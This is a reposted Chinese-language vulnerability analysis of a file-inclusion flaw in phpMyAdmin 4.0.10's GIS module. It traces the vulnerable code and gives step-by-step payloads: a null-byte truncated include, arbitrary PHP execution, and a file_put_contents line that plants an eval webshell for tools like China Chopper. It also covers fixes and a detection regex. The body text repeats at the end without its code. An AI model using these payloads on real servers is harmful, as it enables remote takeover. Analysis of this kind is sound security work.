phpMyAdmin 4.0.10 文件包含 -> getshell (转载)
字数 1401 2025-08-06 12:20:54

phpMyAdmin 4.0.10 文件包含漏洞分析与利用

漏洞概述

phpMyAdmin 4.0.10 版本中存在一个文件包含漏洞,攻击者可以通过精心构造的请求实现任意文件包含,最终可能导致远程代码执行(RCE)和服务器沦陷。该漏洞位于GIS功能模块中,由于对用户输入过滤不严,导致攻击者可以控制文件包含路径。

漏洞定位

初始漏洞点

漏洞位于 PMA_GIS_Factory 类的 factory 方法中:

public static function factory($type) {
    include_once './libraries/gis/pma_gis_geometry.php';
    $type_lower = strtolower($type);
    if (!file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {
        return false;
    }
    if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {
        // ... switch语句处理不同类型 ...
    } else {
        return false;
    }
}

关键问题在于:

  1. $type 参数直接拼接进文件路径
  2. 仅进行了小写转换,没有过滤特殊字符
  3. 使用 include_once 包含文件,而非安全的包含方式

参数溯源

$type 参数来源于 $gis_data['gis_type'],而 $gis_data 又来源于用户可控的 $_REQUEST['gis_data']

$gis_data = array();
if (PMA_isValid($_REQUEST['gis_data'], 'array')) {
    $gis_data = $_REQUEST['gis_data'];
}

PMA_isValid 函数仅验证输入是否为数组类型,没有进行更严格的安全检查。

漏洞利用条件

要成功利用此漏洞,需要满足以下条件:

  1. 能够控制 gis_data[gis_type] 参数
  2. 目标服务器上存在可被包含的可控文件
  3. 在Linux系统上,路径不能包含大写字母(因为 strtolower 转换)

漏洞利用步骤

1. 准备恶意文件

在MySQL数据目录中创建包含PHP代码的文件:

  1. 创建一个包含恶意代码的数据库表文件(如 .frm 文件)
  2. 确保文件内容包含有效的PHP代码,例如:<?php phpinfo(); ?>

2. 构造Payload

基本Payload结构:

gis_data[gis_type]=/path/to/malicious/file%00

实际利用示例:

gis_data[gis_type]=phpstudy/mysql/data/wz/abc.frm%00&a=phpinfo();

说明:

  • %00 是空字符,用于截断后面的 .php 后缀
  • a 参数用于执行任意PHP代码

3. 文件包含触发

访问包含漏洞的页面(通常是 gis_data_editor.php)并发送构造好的Payload。

4. 写入Webshell

进一步利用,写入永久性Webshell:

gis_data[gis_type]=phpstudy/mysql/data/wz/abc.frm%00&a=file_put_contents('shell.php','<?php eval($_POST["cmd"]);?>');

5. 连接Webshell

访问写入的 shell.php 文件,使用中国菜刀或蚁剑等工具连接,获取服务器控制权。

漏洞防御

临时解决方案

  1. 禁用phpMyAdmin的GIS功能
  2. 升级到最新版本的phpMyAdmin
  3. 设置php.ini中的 open_basedir 限制文件访问范围

代码修复建议

  1. 对用户输入进行严格过滤,特别是文件路径
  2. 使用白名单机制限制可包含的文件
  3. 避免直接拼接用户输入到文件路径中
  4. 使用 realpath 检查文件路径是否合法

技术细节补充

文件包含规则

有效的文件包含漏洞通常匹配以下模式:

include .*\$.{1,5}|include_once .*\$.{1,5}|require .*\$.{1,5}|require_once .*\$.{1,5}

Linux系统限制

在Linux系统上,由于 strtolower 转换,如果MySQL数据路径包含大写字母(如 /var/lib/MySQL/),则无法利用此漏洞,因为路径会被转换为小写。

其他注意事项

  1. WebShell密码不能是纯数字,避免被重置
  2. 需要有效的token值,否则可能被CSRF防护拦截
  3. 文件包含后,.php 后缀会被自动添加,因此需要使用空字节截断

总结

phpMyAdmin 4.0.10的文件包含漏洞是一个典型的二次注入漏洞,通过GIS功能模块的参数传递,最终导致任意文件包含。该漏洞利用条件较为宽松,危害性高,可导致服务器完全沦陷。管理员应及时升级到安全版本,或采取临时防护措施。

phpMyAdmin 4.0.10 文件包含漏洞分析与利用 漏洞概述 phpMyAdmin 4.0.10 版本中存在一个文件包含漏洞,攻击者可以通过精心构造的请求实现任意文件包含,最终可能导致远程代码执行(RCE)和服务器沦陷。该漏洞位于GIS功能模块中,由于对用户输入过滤不严,导致攻击者可以控制文件包含路径。 漏洞定位 初始漏洞点 漏洞位于 PMA_GIS_Factory 类的 factory 方法中: 关键问题在于: $type 参数直接拼接进文件路径 仅进行了小写转换,没有过滤特殊字符 使用 include_once 包含文件,而非安全的包含方式 参数溯源 $type 参数来源于 $gis_data['gis_type'] ,而 $gis_data 又来源于用户可控的 $_REQUEST['gis_data'] : PMA_isValid 函数仅验证输入是否为数组类型,没有进行更严格的安全检查。 漏洞利用条件 要成功利用此漏洞,需要满足以下条件: 能够控制 gis_data[gis_type] 参数 目标服务器上存在可被包含的可控文件 在Linux系统上,路径不能包含大写字母(因为 strtolower 转换) 漏洞利用步骤 1. 准备恶意文件 在MySQL数据目录中创建包含PHP代码的文件: 创建一个包含恶意代码的数据库表文件(如 .frm 文件) 确保文件内容包含有效的PHP代码,例如: <?php phpinfo(); ?> 2. 构造Payload 基本Payload结构: 实际利用示例: 说明: %00 是空字符,用于截断后面的 .php 后缀 a 参数用于执行任意PHP代码 3. 文件包含触发 访问包含漏洞的页面(通常是 gis_data_editor.php )并发送构造好的Payload。 4. 写入Webshell 进一步利用,写入永久性Webshell: 5. 连接Webshell 访问写入的 shell.php 文件,使用中国菜刀或蚁剑等工具连接,获取服务器控制权。 漏洞防御 临时解决方案 禁用phpMyAdmin的GIS功能 升级到最新版本的phpMyAdmin 设置php.ini中的 open_basedir 限制文件访问范围 代码修复建议 对用户输入进行严格过滤,特别是文件路径 使用白名单机制限制可包含的文件 避免直接拼接用户输入到文件路径中 使用 realpath 检查文件路径是否合法 技术细节补充 文件包含规则 有效的文件包含漏洞通常匹配以下模式: Linux系统限制 在Linux系统上,由于 strtolower 转换,如果MySQL数据路径包含大写字母(如 /var/lib/MySQL/ ),则无法利用此漏洞,因为路径会被转换为小写。 其他注意事项 WebShell密码不能是纯数字,避免被重置 需要有效的token值,否则可能被CSRF防护拦截 文件包含后, .php 后缀会被自动添加,因此需要使用空字节截断 总结 phpMyAdmin 4.0.10的文件包含漏洞是一个典型的二次注入漏洞,通过GIS功能模块的参数传递,最终导致任意文件包含。该漏洞利用条件较为宽松,危害性高,可导致服务器完全沦陷。管理员应及时升级到安全版本,或采取临时防护措施。